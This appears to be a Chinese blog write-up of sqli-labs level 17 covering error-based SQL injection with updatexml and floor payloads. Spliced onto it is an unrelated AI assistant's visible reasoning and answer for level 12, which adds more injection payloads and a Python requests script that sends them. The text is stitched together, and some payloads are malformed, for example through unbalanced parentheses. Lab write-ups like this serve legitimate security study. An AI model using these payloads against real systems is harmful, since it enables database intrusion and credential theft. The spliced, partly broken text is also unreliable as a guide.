sqli-labs 第十七关

目录

找注入点:

源码分析:

测试:

奇怪现象:

        (1):当我们输入的密码为字符进行注入时。

        (2):当我们输入的密码为整数时。

产生原因:

解决方法:

开始注入:

            注入用户名:

           注入数据库名:

            注入表名:

             注入列名:

               注入具体值:


找注入点:

       

        经过我们的测试,当在密码出输入一个单引号时就会出现报错,对此注入点可能就在该位置。

       

源码分析:

       可以发现,这里使用update语句来修改用户的密码,并且对我们输入的用户名进行了过滤但并没有对密码进行过滤。并且允许sql语句报错,由此我们可以使用报错注入。

       

        

测试:

        在上面已经确认使用报错注入来完成,我们先测试看看能不能注入出数据。

奇怪现象:

        接下来我们一步一步注入。

        (1):当我们输入的密码为字符进行注入时。

        一:注入用户名

                admin' and updatexml(1,concat(0x7e,(user(),0x7e),1)#

        二:注入数据库名

                admin' and updatexml(1,concat(0x7e,(database()),0x7e),1) #

        三:注入表名

                admin' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

               这里,我们发现我们输入这句sql报了上面这个错误,但是我们的sql注入语句并没有写错。这就是我们的奇怪现象之一。

        (2):当我们输入的密码为整数时。

                我们接着上面测试注入表名。

                2' and updatexml(1,concat(0x7e,(select group_concat(table_name) from                 information_schema.tables where table_schema='security'),0x7e),1)#

        这里我们发现当我们的密码为整数时就可以注入出数据。这就是第二个奇怪现象。

产生原因:

        经过我在各种论坛上去查找,终于找到了原因。

        (1):在Update语句中从左到右执行,当前面输入的密码为字符时并且到and时语法就会出现错误。之所以前面的用户名和数据库名会被爆出来,是因为user()和database()是mysql内置的函数,优先级较高,优先执行,所以会被爆出来。如下:

 admin' and updatexml(1,concat(0x7e,(user(),0x7e),1)#
admin' and updatexml(1,concat(0x7e,(database()),0x7e),1) #

        (2)当前面的输入的密码 为整数时,之所以可以被执行,是因为当我们输入的为整数时相当与给后面的语句加上了一个括号,并且有限执行括号中的内容。所以能够爆出数据。

2' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#

解决方法:

        我们可以使用在前面输入的密码为整数的方式进行注入。也可以使用floor报错函数进行注入。

开始注入:

        我们使用前面密码为整数的方式来进行注入。

            注入用户名:

           2' and updatexml(1,concat(0x7e,(user()),0x7e),1)#

           注入数据库名:

                2' and updatexml(1,concat(0x7e,(database()),0x7e),1)#

            注入表名:

2' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='security'),0x7e),1)#      

                       

             注入列名:

2' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),0x7e),1)# 

        

               注入具体值:

23' and(select 1 from (select count(*),concat(substring((select group_concat(username) from users),1,32),floor(rand(0)*2))x from information_schema.tables group by x)a)#

    

到此我们实验就完美注入了。

小插曲:

大家可以看到在最后注入具体值的时候我们使用的是floor进行注入,是因为当我们使用updatexml进行注入时会爆下面的问题: 等我查阅资料后回来改正。

2' and updatexml(1,concat(0x7e,(select group_concat(username) from users),0x7e),1)#

总结:这里推荐大家使用floor进行报错注入,使用floor报错注入就不会出现任何问题。

<think>嗯,用户现在在问SQLi-Labs第十二的解法或提示。首先,我需要回忆一下第十二的特点。根据之前的经验,SQLi-Labs的每个卡通常涉及不同类型的SQL注入,比如GET或POST请求,不同的参数处理方式,或者特定的过滤和防护措施。用户之前可能已经完成了前面的卡,所以第十二可能比之前的更难,或者引入了新的挑战。 根据用户提供的引用内容,之前的卡如第四、第七涉及到联合查询注入和文件导出操作,比如使用`union select`结合`group_concat`获取表名,或者`into outfile`导出数据。第七还提到了文件操作的函数需要配置`secure_file_priv`。这些引用可能提示第十二可能涉及类似的注入技术,但可能有不同的参数处理方式,比如POST请求或不同的注入点类型。 首先,我需要确认第十二的具体设置。通常,第十二可能是一个POST类型的注入,比如基于报错的注入或者盲注。例如,可能是一个登录表单,用户需要利用注入绕过认证或提取数据。根据用户提供的引用,第七使用了文件导出,而第四是联合查询,但第十二可能有所不同。 然后,用户提供的引用中有于爆库名、表名的技术,如使用`extractvalue`函数进行报错注入,这可能在第十二中适用。比如,如果注入点存在报错回显,可以利用报错注入来获取信息。此外,联合查询注入需要确定列数,可能需要通过`order by`来测试。 另外,引用中提到了`into outfile`的使用,但第十二可能涉及到字符转义或闭合问题。例如,输入参数可能被包裹在特定的符号中,如双引号和括号,导致需要正确闭合才能执行注入。例如,如果参数处理是`"$id"`,那么注入时需要闭合双引号,并处理可能的括号。 接下来,考虑用户可能需要具体的步骤。比如,确定注入点类型(字符型还是数字型)、测试闭合方式、使用联合查询或报错注入。例如,如果输入被包裹在双引号和括号中,如`("$id")`,那么注入可能需要类似`")`来闭合,然后添加恶意代码。 同时,用户可能遇到的障碍包括如何正确闭合引号和括号,如何绕过过滤,或者如何确定可用的列数。例如,使用`") order by 3--+`来测试列数,然后进行联合查询,或者使用报错函数如`updatexml`或`extractvalue`来提取数据。 另外,需要注意是否有过滤函数,比如对`union select`或空格的处理,可能需要使用注释符或内联注释绕过。例如,使用`/**/`代替空格,或者使用`%a0`作为空格的替代。 根据引用[3]中的例子,报错注入使用了`extractvalue`函数,这可能适用于第十二。例如,构造如`" or extractvalue(1, concat(0x7e, (select database()))) --+`这样的注入语句,触发数据库错误并返回信息。 最后,用户可能需要导出文件,但需要确认`secure_file_priv`的设置是否允许写入,如引用[4]所述。但在第十二中,可能不需要文件导出,而是侧重于通过注入获取数据。 总结可能的步骤:1. 确定注入点类型和闭合方式;2. 测试列数;3. 使用联合查询或报错注入获取信息;4. 提取数据库名、表名、列名和数据。</think>根据SQLi-Labs第十二的POST型注入特点和常见解法,以下是分步解析: ### 第十二解题思路 #### 1. 确定注入类型 本为**POST请求**,参数使用双引号+括号包裹:`("$id")`。测试闭合方式时需使用`")`闭合原始语句[^4]。 #### 2. 构造闭合语句 尝试在用户名或密码输入框中注入: ```sql admin") or 1=1 --+ ``` 若成功绕过登录,说明闭合正确。 #### 3. 联合查询注入 **(1) 确定列数** ```sql admin") order by 3 --+ ``` 当`order by 4`报错时,说明共3列。 **(2) 获取回显位** ```sql admin") union select 1,2,3 --+ ``` 观察页面显示数字2和3的位置用于回显。 **(3) 提取数据库信息** ```sql admin") union select 1,database(),version() --+ ``` 回显当前数据库名和版本[^1]。 #### 4. 报错注入(备用方案) 若联合查询被过滤,使用`updatexml()`: ```sql admin") and updatexml(1,concat(0x7e,(select user())),1) --+ ``` 通过报错信息获取当前用户[^3]。 ```python # 示例请求代码(Python requests) import requests url = "http://localhost/sqli-labs/Less-12/" data = {"uname": 'admin") union select 1,@@version,3 --+', "passwd": "test"} response = requests.post(url, data=data) print(response.text) ```
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值